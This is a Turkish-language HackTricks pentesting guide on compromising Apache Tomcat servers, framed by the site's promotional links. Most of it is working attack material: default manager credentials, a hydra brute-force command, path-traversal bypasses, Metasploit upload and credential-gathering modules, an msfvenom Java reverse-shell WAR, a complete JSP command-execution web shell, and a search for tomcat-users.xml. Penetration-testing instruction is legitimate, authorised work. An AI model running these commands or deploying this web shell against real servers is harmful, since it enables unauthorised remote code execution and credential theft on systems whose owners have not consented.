# Tomcat
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **[PEASS Ailesi](https://opensea.io/collection/the-peass-family)**'ni keşfedin, özel **NFT** koleksiyonumuzu keşfedin. * **Resmi PEASS & HackTricks ürünlerini alın** [buradan](https://peass.creator-spring.com). * **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f)** veya [telegram grubuna](https://t.me/peass) **katılın** veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
**Try Hard Güvenlik Grubu**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Keşif * Genellikle **8080 numaralı port** üzerinde çalışır * **Yaygın Tomcat hatası:**
## Numaralandırma ### **Sürüm Tanımlama** Apache Tomcat sürümünü bulmak için basit bir komut çalıştırılabilir: ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` ### **Yönetici Dosyaları Konumu** **`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir. ### **Kullanıcı Adı Numaralandırma** Tomcat sürümü 6'dan eski olanlar için kullanıcı adları numaralandırılabilir: ```bash msf> use auxiliary/scanner/http/tomcat_enum ``` ### **Varsayılan Kimlik Bilgileri** **`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin, genellikle aşağıdaki gibi temel HTTP kimlik doğrulaması ile korunmaktadır: * admin:admin * tomcat:tomcat * admin: * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur. ### **Kaba Kuvvet Saldırısı** Yönetici dizinine kaba kuvvet saldırısı yapmak için şunu kullanabilirsiniz: ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html ``` ## Ortak Zayıflıklar ### **Şifre Geri İzleme Açığı** `/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izleme altında ortaya çıkarabilir. ### **Çift URL Kodlama** `mod_jk` içindeki CVE-2007-1860 zayıflığı, çift URL kodlama yol geçişi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır. Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html` ### /örnekler Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırma ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp * /examples/jsp/snp/snoop.jsp * /examples/jsp/error/error.html * /examples/jsp/sessions/carts.html * /examples/jsp/checkbox/check.html * /examples/jsp/colors/colors.html * /examples/jsp/cal/login.html * /examples/jsp/include/include.jsp * /examples/jsp/forward/forward.jsp * /examples/jsp/plugin/plugin.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/simpletag/foo.jsp * /examples/jsp/mail/sendmail.jsp * /examples/servlet/HelloWorldExample * /examples/servlet/RequestInfoExample * /examples/servlet/RequestHeaderExample * /examples/servlet/RequestParamExample * /examples/servlet/CookieExample * /examples/servlet/JndiServlet * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### **Yol Geçişi Sömürüsü** Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz. Örneğin, **Tomcat yöneticisine erişebilirsiniz** `www.vulnerable.com/lalala/..;/manager/html` adresine erişerek. Bu hileyi kullanarak korunan yolları atlamak için **başka bir yol** `http://www.vulnerable.com/;param=value/manager/html` adresine erişmektir. ## Uzaktan Kod Çalıştırma (RCE) Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyası yükleyip dağıtabilirsiniz (kod çalıştırma). ### Sınırlamalar Yeterli ayrıcalıklarınız varsa (roller: **admin**, **manager** ve **manager-script**), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Hedef sistemlere sızma testleri yapmak için kullanılır. Metasploit, saldırı vektörlerini otomatikleştirmek için bir dizi araç ve yardımcı program içerir. ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### MSFVenom Ters Kabuk 1. Dağıtmak için war dosyası oluşturun: ```bash msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` ### `revshell.war` dosyasını yükleyin ve erişim sağlayın (`/revshell/`): ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ile bağlantı ve ters kabuk oluşturun Bazı senaryolarda bu çalışmaz (örneğin eski sürümlerinde sun) #### İndir ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` #### Ters kabuk ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` #### Bağlama kabuğu ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### [Culsterd](https://github.com/hatRiot/clusterd) Kullanımı ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Manuel yöntem - Web kabuğu Aşağıdaki [içerik](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ile **index.jsp** oluşturun: ```java
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` ### El ile Yöntem 2 Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_ dir. ```bash find / -name tomcat-users.xml 2>/dev/null ``` Diğer Tomcat kimlik bilgilerini toplama yöntemleri: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Diğer tomcat tarama araçları * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) ## Referanslar * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**